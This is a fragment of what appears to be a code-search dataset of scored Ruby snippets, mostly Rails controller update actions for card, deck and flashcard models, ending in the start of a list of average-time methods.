"docid": "0cbb964936ef7db03eb7c1b4dcbeb5df",
"score": "0.6533778",
"text": "def update\n respond_to do |format|\n if @owned_card.user == current_user && @owned_card.update(owned_card_params)\n format.html { redirect_to owned_cards_path, notice: 'Owned card was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @owned_card.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "edaa20d33ca6f9329500db1559a30c65",
"score": "0.65118825",
"text": "def update\n respond_to do |format|\n if @card_detail.update(card_detail_params)\n format.html { redirect_to @card_detail, notice: 'Card detail was successfully updated.' }\n format.json { render :show, status: :ok, location: @card_detail }\n else\n format.html { render :edit }\n format.json { render json: @card_detail.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3f1f89df58f74a89ded7f07f8da6aff7",
"score": "0.65057105",
"text": "def update\n respond_to do |format|\n if @card_instance.update(card_instance_params)\n format.html { redirect_to @card_instance, notice: 'Card owner was successfully updated.' }\n format.json { render :show, status: :ok, location: @card_instance }\n else\n format.html { render :edit }\n format.json { render json: @card_instance.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3c6ad3642112e98a6bf02dc6393c710b",
"score": "0.64963084",
"text": "def update\n respond_to do |format|\n if @card_set.update(card_set_params)\n format.html { redirect_to @card_set, notice: 'Card set was successfully updated.' }\n format.json { render :show, status: :ok, location: @card_set }\n else\n format.html { render :edit }\n format.json { render json: @card_set.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7fd98b24cce7cc458965330aa5ee0ad2",
"score": "0.64951974",
"text": "def update\n respond_to do |format|\n if @vote_card.update(vote_card_params)\n format.html { redirect_to @vote_card, notice: 'VoteCard was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @vote_card.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f1264a2e14e7db7d589b290ac37290aa",
"score": "0.6487523",
"text": "def update\n @deck = Deck.find(params[:id])\n\n respond_to do |format|\n if @deck.update_attributes(params[:deck])\n format.html { redirect_to deck_cards_url(@deck), notice: 'Deck was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @deck.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0285bf35ac11ab186b0af4759ea4fa5a",
"score": "0.6474023",
"text": "def update\n if !(params[:id].nil?)\n if(CompanyCard.exists?(params[:id]))\n card = CompanyCard.find(params[:id])\n card.update(card_params)\n render status: 200, json:{\n message: \"Successfully updated\",\n company_cards: card\n }.to_json\n else\n render status: 422, json:{\n message: \"Unable to process your request of the server.\"\n }.to_json\n end\n else\n render status: 422, json:{\n message: \"Unable to process your request of the server.\"\n }.to_json\n end\n end",
"title": ""
},
{
"docid": "a3ba2a2049f221b46df4c343a0ad6178",
"score": "0.6472395",
"text": "def update\n @card = Card.find(params[:id])\n @current_user = User.find_by_id(session[:user_id])\n\n unless @current_user.admin?\n flash[:error] = \"You do not have permission to update a card\"\n redirect_to cards_path(@cards)\n return\n end\n\n respond_to do |format|\n if @card.update_attributes(params[:card])\n format.html { redirect_to @card, notice: 'Card was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @card.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "fc93c6f6e0a3e500c0d0df1c1844875a",
"score": "0.646052",
"text": "def update\n respond_to do |format|\n if @card_in_column.update(card_in_column_params)\n format.json { render json: @card_in_column.as_json(include: { card: { only: [:id, :name, :description, :project_id, :type] } }), status: :ok }\n else\n format.html { render :edit }\n format.json { render json: @card.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5ce216a3d7425ebff0efbad16b90d171",
"score": "0.6457165",
"text": "def update\n respond_to do |format|\n if @deck_card.update(deck_card_params)\n flash[:success] = \"Deck card was successfully updated.\"\n redirect_to @deck_card.deck\n format.json { render :show, status: :ok, location: @deck_card }\n else\n format.html { render :edit }\n format.json { render json: @deck_card.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7fb73e7ec7fa282cf78b74b33bc58144",
"score": "0.64530337",
"text": "def update\n respond_to do |format|\n if @deck_of_card.update(deck_of_card_params)\n format.html { redirect_to @deck_of_card, notice: 'Deck of card was successfully updated.' }\n format.json { render :show, status: :ok, location: @deck_of_card }\n else\n format.html { render :edit }\n format.json { render json: @deck_of_card.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a69b261503e8fc2e44d954612c534351",
"score": "0.6426006",
"text": "def update\n @cruno_card = CrunoCard.find(params[:id])\n @cruno_card.player = Player.find(2)\n\n respond_to do |format|\n if @cruno_card.update_attributes(params[:cruno_card])\n format.html { redirect_to @cruno_card, notice: 'Cruno card was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cruno_card.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "97bf3cc9a7551e02564a7a8c864d7b83",
"score": "0.64245456",
"text": "def update\n respond_to do |format|\n if @name_card.update(name_card_params)\n format.html { redirect_to @name_card, notice: 'Name card was successfully updated.' }\n format.json { render :show, status: :ok, location: @name_card }\n else\n format.html { render :edit }\n format.json { render json: @name_card.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b1e10fc1d5113b3ebb1d54270907d51c",
"score": "0.64219165",
"text": "def update\n @deck = Deck.find(params[:id])\n\n respond_to do |format|\n if @deck.update_attributes(params[:deck])\n format.html { redirect_to @deck, notice: 'Deck was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @deck.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b1e10fc1d5113b3ebb1d54270907d51c",
"score": "0.64219165",
"text": "def update\n @deck = Deck.find(params[:id])\n\n respond_to do |format|\n if @deck.update_attributes(params[:deck])\n format.html { redirect_to @deck, notice: 'Deck was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @deck.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "25825c6102314840a8f229e8c34ff6c8",
"score": "0.6396641",
"text": "def update\n respond_to do |format|\n if params[:user][:cards_attributes]\n cards = []\n params[:user][:cards_attributes].each do |_, v|\n card = Card.where(uid: v[:uid]).first\n cards << card if card && v[:_destroy] == 'false'\n end\n @user.cards = cards.uniq\n end\n if @user.update(user_params)\n format.html { redirect_to @user, notice: t('user.update.success') }\n format.json { render :show, status: :ok, location: @user }\n else\n format.html { render :edit }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "96f9a48d3518fbb3c7e6407d53a1dbfb",
"score": "0.6394864",
"text": "def update\n @flash_card = FlashCard.find(params[:id])\n\n respond_to do |format|\n if @flash_card.update_attributes(params[:flash_card])\n format.html { redirect_to(@flash_card, :notice => 'Flash card was successfully updated.') }\n format.json { render :json => [] }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @flash_card.errors, :status => :unprocessable_entity }\n format.xml { render :xml => @flash_card.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9f495941f2d5e62ce0cb9292dabe4df7",
"score": "0.63857",
"text": "def update\n respond_to do |format|\n if @note_card.update(note_card_params)\n format.html { redirect_to @note_card, notice: 'Note card was successfully updated.' }\n format.json { render :show, status: :ok, location: @note_card }\n else\n format.html { render :edit }\n format.json { render json: @note_card.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4ddbf2d8c1e1e8dfb65d0cbd10d9b227",
"score": "0.63753617",
"text": "def updateCard\n if !(Integer(params[:id]) rescue false)\n renderError(\"Not Acceptable (Invalid Params)\", 406, \"The parameter id is not an integer\")\n return -1\n end\n resultsGet = HTTParty.get(\"http://192.168.99.104:3003/credit_card?id=\"+params[:id])\n userA = (resultsGet[\"user_id\"])\n puts(userA)\n puts( @current_user[\"id\"])\n if userA != (@current_user[\"id\"])\n renderError(\"Forbidden\",403,\"current user has no access\")\n return -1\n else\n options = {\n :body => params.to_json,\n :headers => {\n 'Content-Type' => 'application/json'\n }\n }\n results = HTTParty.put(\"http://192.168.99.104:3003/credit_cards?id=\"+params[:id], options)\n if results.code == 201\n head 201\n else\n render json: results.parsed_response, status: results.code\n end\n end\n end",
"title": ""
},
{
"docid": "0357515c6e7c82ff61eef076ef1075a7",
"score": "0.63688195",
"text": "def update!(**args)\n @card = args[:card] if args.key?(:card)\n @card_id = args[:card_id] if args.key?(:card_id)\n end",
"title": ""
},
{
"docid": "5b82209a2caa6221a5ad40d2c430fc05",
"score": "0.63687587",
"text": "def update\n @bcard = Bcard.find(params[:id])\n\n respond_to do |format|\n if @bcard.update_attributes(params[:bcard])\n format.html { redirect_to @bcard, notice: 'Bcard was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bcard.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3918a03a63e27b52bd4587f7b45a9884",
"score": "0.63677657",
"text": "def update\n respond_to do |format|\n if @score_card.update(score_card_params)\n format.html { redirect_to project_score_card_path(@project, @score_card), notice: 'Scorecard was successfully updated.' }\n format.json { render :show, status: :ok, location: @score_card }\n else\n format.html { render :edit }\n format.json { render json: @score_card.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f7be158db7055797ae8b815e4c5572c9",
"score": "0.6362687",
"text": "def update\n @old_card = OldCard.find(params[:id])\n\n respond_to do |format|\n if @old_card.update_attributes(params[:old_card])\n format.html { redirect_to(@old_card, :notice => 'Old card was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @old_card.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "da300a9b223e0462ef6b7889eadda291",
"score": "0.6360027",
"text": "def update_card(id, params)\n card = find_card(id)\n if card\n card.update(params)\n save\n end\n end",
"title": ""
},
{
"docid": "bb19681ac163a1e99362080781f65333",
"score": "0.6360023",
"text": "def update\n @flashcard = Flashcard.find(params[:id])\n\n respond_to do |format|\n if @flashcard.update_attributes(params[:flashcard])\n format.html { redirect_to @flashcard, notice: 'Flashcard was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @flashcard.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4a9d35c8f2d15c9f405127483ed232c3",
"score": "0.63559204",
"text": "def update\n respond_to do |format|\n if @inden_card.update(inden_card_params)\n format.html { redirect_to @inden_card, notice: (t 'inden_cards.title2')+(t 'actions.updated') }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @inden_card.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6546622de13e2c2ed9a2db83428e9b60",
"score": "0.63544273",
"text": "def update\n respond_to do |format|\n if @make_card.update(make_card_params)\n format.html { redirect_to @make_card, notice: 'Make card was successfully updated.' }\n format.json { render :show, status: :ok, location: @make_card }\n else\n format.html { render :edit }\n format.json { render json: @make_card.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "cee58233e0710d0eacb474344bff5a45",
"score": "0.6342862",
"text": "def update\n @cards_question = Cards::Question.find(params[:id])\n\n respond_to do |format|\n if @cards_question.update_attributes(params[:cards_question])\n format.html { redirect_to @cards_question, notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cards_question.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "111b43e899e92a28b90fe21416332fcd",
"score": "0.6339166",
"text": "def update\n respond_to do |format|\n if @safety_card.update_attributes(params[:safety_card])\n format.html { redirect_to @safety_card, notice: 'Safety card was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @safety_card.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b3dadba4dd8650cc45ea83d48b2d58ec",
"score": "0.6318756",
"text": "def update\n @flash_card_set ||= FlashCardSet.find params[:id]\n\n if @flash_card_set.update_attributes update_params\n render :show, status: 200\n else\n render json: { resource: \"flashCardSet\", errors: @flash_card_set.errors }, status: 409\n end\n end",
"title": ""
},
{
"docid": "30b4049f796a5926102486d5a00cec15",
"score": "0.6315194",
"text": "def update\n respond_to do |format|\n if @keycard.update(keycard_params)\n format.html { redirect_to keycards_path, notice: 'keycard ' + @keycard.id.to_s + ' was successfully updated.' }\n format.json { render :show, status: :ok, location: @keycard }\n else\n format.html { render :edit }\n format.json { render json: @keycard.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "612fc008bb24f2d803cd39d2a3f2bd3a",
"score": "0.6299188",
"text": "def update\n respond_to do |format|\n if @deck.update(deck_params)\n format.html { redirect_to @deck, notice: 'Deck was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @deck.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9f6c643658624b3c6d8d03fa875be874",
"score": "0.62915796",
"text": "def update\n respond_to do |format|\n if @namecard.update(namecard_params)\n format.html { redirect_to @namecard, notice: 'Namecard was successfully updated.' }\n format.json { render :show, status: :ok, location: @namecard }\n else\n format.html { render :edit }\n format.json { render json: @namecard.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "301562912c2a4b15f755fca948c11bf6",
"score": "0.6290658",
"text": "def update\n respond_to do |format|\n if @greeting_card.update(greeting_card_params)\n format.html { redirect_to @greeting_card, notice: 'Greeting card was successfully updated.' }\n format.json { render :show, status: :ok, location: @greeting_card }\n else\n format.html { render :edit }\n format.json { render json: @greeting_card.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "26c3d63aaf4c7594eabe1799ec169b12",
"score": "0.62890506",
"text": "def update\n respond_to do |format|\n if @card_instance.update(card_instance_params)\n format.html { redirect_to @card_instance, notice: 'Card instance was successfully updated.' }\n format.json { render :show, status: :ok, location: @card_instance }\n else\n format.html { render :edit }\n format.json { render json: @card_instance.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a55c14be002b22879c712397e21658ee",
"score": "0.62772757",
"text": "def update\n @card_number = CardNumber.find(params[:id])\n\n respond_to do |format|\n if @card_number.update_attributes(params[:card_number])\n format.html { redirect_to @card_number, notice: 'Broj kartice je uspjesno azuriran.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @card_number.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "34f145ed18c166d09074a0816be8e308",
"score": "0.6265322",
"text": "def update\n respond_to do |format|\n if @vehicle_card.update(vehicle_card_params)\n format.html { redirect_to @vehicle_card, notice: (t 'vehicle_cards.title')+(t 'actions.updated') }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @vehicle_card.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "812d8f66a4c451d4fb69e7be99425f64",
"score": "0.6264443",
"text": "def update\n @collection_card = CollectionCard.find(params[:id])\n\n respond_to do |format|\n if @collection_card.update_attributes(params[:collection_card])\n format.html { redirect_to(@collection_card, :notice => 'Collection card was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @collection_card.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "419ccee488fdfcdb40f04a704a30cd0f",
"score": "0.62544787",
"text": "def update\n respond_to do |format|\n if @user_card.update(user_card_params)\n format.html { redirect_to @user_card, notice: 'User card was successfully updated.' }\n format.json { render :show, status: :ok, location: @user_card }\n else\n format.html { render :edit }\n format.json { render json: @user_card.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "36e393cb94e20b5bbe3109807a32f5a9",
"score": "0.62430346",
"text": "def update\n respond_to do |format|\n if @company_card.update(company_card_params)\n format.html { redirect_to @company_card, notice: 'Company card was successfully updated.' }\n format.json { render :show, status: :ok, location: @company_card }\n else\n format.html { render :edit }\n format.json { render json: @company_card.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "04ba7e1f91f251bf97df1c5ffe1f43fa",
"score": "0.62330633",
"text": "def update\n @mtb_card = MtbCard.find(params[:id])\n\n respond_to do |format|\n if @mtb_card.update_attributes(params[:mtb_card])\n format.html { redirect_to @mtb_card, notice: 'Mtb card was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @mtb_card.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4b7181fd766f1c7de7b6b5f5382eb4e2",
"score": "0.6229881",
"text": "def update\n respond_to do |format|\n if @eno_card.update(eno_card_params)\n format.html { redirect_to @eno_card, notice: 'Eno card was successfully updated.' }\n format.json { render :show, status: :ok, location: @eno_card }\n else\n format.html { render :edit }\n format.json { render json: @eno_card.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6fdb8e714add957a7f0692161a131c79",
"score": "0.6210821",
"text": "def update\n @reg_card = RegCard.find(params[:id])\n\n respond_to do |format|\n if @reg_card.update_attributes(params[:reg_card])\n flash[:success] = \"Card Updated!\"\n format.html { redirect_to group_path(@reg_card.group) }\n format.json { head :no_content }\n else\n format.html { render \"edit\" }\n format.json { render json: @reg_card.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "be5889bdafecc281a07c45405b568d92",
"score": "0.6206979",
"text": "def update\n respond_to do |format|\n if @excuse_card.update(excuse_card_params)\n format.html { redirect_to @excuse_card, notice: 'Excuse card was successfully updated.' }\n format.json { render :show, status: :ok, location: @excuse_card }\n else\n format.html { render :edit }\n format.json { render json: @excuse_card.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "bb2498d1efd4a32dd22662fd89428bcd",
"score": "0.61966485",
"text": "def update\n @card = Card.find(params[:id])\n @card.project.actions.create! activity: \"#{current_user.name} chanded \\\"#{@card.story}\\\" to #{params[:card][:story]} Card story\"\n respond_to do |format|\n if @card.update_attributes(params[:card])\n format.html { redirect_to project_url(@card.project), notice: 'Card updated' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @card.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5afb1139fda4f96d1c9d98198fd3d2ab",
"score": "0.61913395",
"text": "def update\n @bizcard = Bizcard.find(params[:id])\n\n respond_to do |format|\n if @bizcard.update_attributes(params[:bizcard])\n format.html { redirect_to @bizcard, notice: 'Bizcard was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bizcard.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "201e6ef0be4b60d7cbec3d8c624b8346",
"score": "0.61819416",
"text": "def update\n respond_to do |format|\n if @job_card.update(job_card_params)\n format.html { redirect_to @job_card, notice: 'Job card was successfully updated.' }\n format.json { render :show, status: :ok, location: @job_card }\n else\n format.html { render :edit }\n format.json { render json: @job_card.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0d82129972c341358643c5b6db46655b",
"score": "0.6178985",
"text": "def update\n @expansion_of_card = ExpansionOfCard.find(params[:id])\n\n respond_to do |format|\n if @expansion_of_card.update_attributes(params[:expansion_of_card])\n flash[:notice] = 'ExpansionOfCard was successfully updated.'\n format.html { redirect_to(@expansion_of_card) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @expansion_of_card.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0bbfe036056446c811c19488264397b3",
"score": "0.6176493",
"text": "def cards_partial_update_with_http_info(id, data, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CardsApi.cards_partial_update ...'\n end\n # verify the required parameter 'id' is set\n if @api_client.config.client_side_validation && id.nil?\n fail ArgumentError, \"Missing the required parameter 'id' when calling CardsApi.cards_partial_update\"\n end\n # verify the required parameter 'data' is set\n if @api_client.config.client_side_validation && data.nil?\n fail ArgumentError, \"Missing the required parameter 'data' when calling CardsApi.cards_partial_update\"\n end\n # resource path\n local_var_path = '/cards/{id}/'.sub('{' + 'id' + '}', CGI.escape(id.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] || @api_client.object_to_http_body(data) \n\n # return_type\n return_type = opts[:return_type] || 'Card' \n\n # auth_names\n auth_names = opts[:auth_names] || ['Basic', 'Token']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CardsApi#cards_partial_update\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "37996be9bf37ae89eeeaa2dca2aedf6d",
"score": "0.61714244",
"text": "def update\n respond_to do |format|\n if @tcard.update(tcard_params)\n format.html { redirect_to @tcard, notice: 'Tcard was successfully updated.' }\n format.json { render :show, status: :ok, location: @tcard }\n else\n format.html { render :edit }\n format.json { render json: @tcard.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "065ceceeb647eac18f054aadca6cbe6b",
"score": "0.6170141",
"text": "def update\n @deck = Deck.find(params[:id])\n @deck.update(title: params[:title])\n render \"update.json.jbuilder\", status: :ok\n end",
"title": ""
},
{
"docid": "11c8f87b6a512329cae503402d86bc47",
"score": "0.61657447",
"text": "def update\n respond_to do |format|\n if @feeling_card.update(feeling_card_params)\n format.html { redirect_to @feeling_card, notice: 'Feeling card was successfully updated.' }\n format.json { render :show, status: :ok, location: @feeling_card }\n else\n format.html { render :edit }\n format.json { render json: @feeling_card.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d148ba3b9a7afee4d64589f7c72c7d7d",
"score": "0.61427367",
"text": "def update\n respond_to do |format|\n if @deck.update(deck_params)\n score_update(deck_params, @deck.id)\n format.html { redirect_to @deck, notice: '更新されました' }\n format.json { render :show, status: :ok, location: @deck }\n else\n format.html { render :edit }\n format.json { render json: @deck.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "041d619fcb7f1420757a2360f1e473b8",
"score": "0.61334455",
"text": "def update\n respond_to do |format|\n if @card_purch.update(card_purch_params)\n format.html { redirect_to @card_purch, notice: 'Card purch was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @card_purch.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "383308ba379c6c36400011ba0f61ea1d",
"score": "0.6128899",
"text": "def update\n if params[:image_id].present?\n preloaded = Cloudinary::PreloadedFile.new(params[:image_id]) \n raise \"Invalid upload signature\" if !preloaded.valid?\n @model.image_id = preloaded.identifier\n end\n \n respond_to do |format|\n if @card.update(card_params)\n format.html { redirect_to cards_path, notice: 'Card was successfully updated.' }\n format.json { render :show, status: :ok, location: @card }\n else\n format.html { render :edit }\n format.json { render json: @card.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1a1f9acd7c06d9d544dd5b69c24a3014",
"score": "0.6127633",
"text": "def update\n @card = UpdateStripeCard.call(current_user, card_params, card_additional_params)\n\n respond_to do |format|\n if @card.errors.blank?\n format.html { redirect_to card_path(@card), notice: \"Card \\# #{current_user.cards.last.card_last_four} was updated!\" }\n format.json { render :show, status: :ok, location: @card }\n else\n format.html { render :edit }\n format.json { render json: @card.errors, status: :unprocessable_entity, alert: 'Unable to update #{current_user.cards.last.card_last_four}!' }\n end\n end\n end",
"title": ""
},
{
"docid": "d5e672b8fa749230d6dc36b804ed369f",
"score": "0.61244315",
"text": "def update\n respond_to do |format|\n if @timecard.update(timecard_params)\n format.html { redirect_to @timecard, notice: 'Timecard was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @timecard.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0e23d448bde7884777bb872dc8b72b43",
"score": "0.6113859",
"text": "def update\n respond_to do |format|\n if @card_sort.update(\n name: card_sort_params['name'],\n description: card_sort_params['description'],\n cards: card_sort_params['cards'].map{ |card| {label: card} },\n )\n format.html { redirect_to @card_sort, notice: 'Card sort was successfully updated.' }\n format.json { render :show, status: :ok, location: @card_sort }\n else\n format.html { render :edit }\n format.json { render json: @card_sort.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1af0bd673490a5ef626ac12c1c9c6960",
"score": "0.61097884",
"text": "def update\n respond_to do |format|\n if @credit_card.update(credit_card_params)\n format.html { redirect_to @credit_card, notice: 'Credit card was successfully updated.' }\n format.json { render :show, status: :ok, location: @credit_card }\n else\n format.html { render :edit }\n format.json { render json: @credit_card.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1af0bd673490a5ef626ac12c1c9c6960",
"score": "0.61097884",
"text": "def update\n respond_to do |format|\n if @credit_card.update(credit_card_params)\n format.html { redirect_to @credit_card, notice: 'Credit card was successfully updated.' }\n format.json { render :show, status: :ok, location: @credit_card }\n else\n format.html { render :edit }\n format.json { render json: @credit_card.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7c1ea466a148c467973d8dbe229ea731",
"score": "0.6083423",
"text": "def update\n @cardbox = current_user.cardboxes.find(params[:id])\n\n respond_to do |format|\n if @cardbox.update_attributes(params[:cardbox])\n format.html { redirect_to(@cardbox, :notice => _('Der Karteikasten wurde geändert')) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @cardbox.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b0752b030314b9e1727c9067a44868a6",
"score": "0.6071995",
"text": "def update\n respond_to do |format|\n if @card_page.update(card_page_params)\n format.html { redirect_to @card_page, notice: 'Card page was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @card_page.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "63dd70ad0bd94d9bf6e94b4e1c863c61",
"score": "0.6061618",
"text": "def edit\n @card = Card.find(params[:id])\n end",
"title": ""
},
{
"docid": "a6600cd2e2928b762ac0d5bd8bddc99d",
"score": "0.6053862",
"text": "def update\n respond_to do |format|\n if @payment_card.update(payment_card_params)\n format.html { redirect_to payment_cards_url, notice: 'Payment card was successfully updated.' }\n format.json { render :show, status: :ok, location: @payment_card }\n else\n format.html { render :edit }\n format.json { render json: @payment_card.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "624e3ac64a2027bb595200a2daeb01a1",
"score": "0.60535353",
"text": "def update\n respond_to do |format|\n if @deck.update(deck_params)\n format.html { redirect_to @deck, notice: 'Deck was successfully updated.' }\n format.json { render :show, status: :ok, location: @deck }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @deck.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
69a24d33f27e0bc02cb026145bd74003
|
Returns the average marking time of the staff.
|
[
{
"docid": "cdbdfddde99f7df5bf4dda392447c1db",
"score": "0.7162025",
"text": "def average_marking_time\n @average_marking_time ||=\n if valid_submissions.empty?\n nil\n else\n valid_submissions.sum { |s| s[:published_at] - s[:submitted_at] } / valid_submissions.size\n end\n end",
"title": ""
}
] |
[
{
"docid": "0f7833db54bfb68039f8328d491af2b9",
"score": "0.64462286",
"text": "def average\n return @@average_times.inject(:+).to_f / @@average_times.size\n end",
"title": ""
},
{
"docid": "57abe669398b7a1841d153366da5328f",
"score": "0.643548",
"text": "def avg_time_spent\n\t\ttotal_time = self.visitors.inject(0){|sum,v| sum + v.total_time }.to_f\n\t\tavg_time = total_time/self.total_visits\n\tend",
"title": ""
},
{
"docid": "599bc4c94fd37f5cf12d8c8ebc3c71e0",
"score": "0.6293407",
"text": "def avg_time_spent\n self.average(:time_spent)\n end",
"title": ""
},
{
"docid": "fedbcd6391ddea779c1108d55d4578b0",
"score": "0.61603856",
"text": "def average_wait_time\n self.reviews.average(:wait_time).to_i\n end",
"title": ""
},
{
"docid": "04d6abb63591c654f5fce63c7cd54b3f",
"score": "0.60714346",
"text": "def average_usage\n\t\treturn 0.0 if @run_count.zero?\n\t\t(@total_utime + @total_stime) / @run_count.to_f\n\tend",
"title": ""
},
{
"docid": "bbccd8407804e355c9c71d69ce3597f6",
"score": "0.60447407",
"text": "def average_idling_time\n if self.total_duration > 0\n ((self.total_idling_time / self.total_duration) * 100)\n else\n 0\n end\n end",
"title": ""
},
{
"docid": "b1071d17bd505b25ad2f3fdfff2922a5",
"score": "0.6041047",
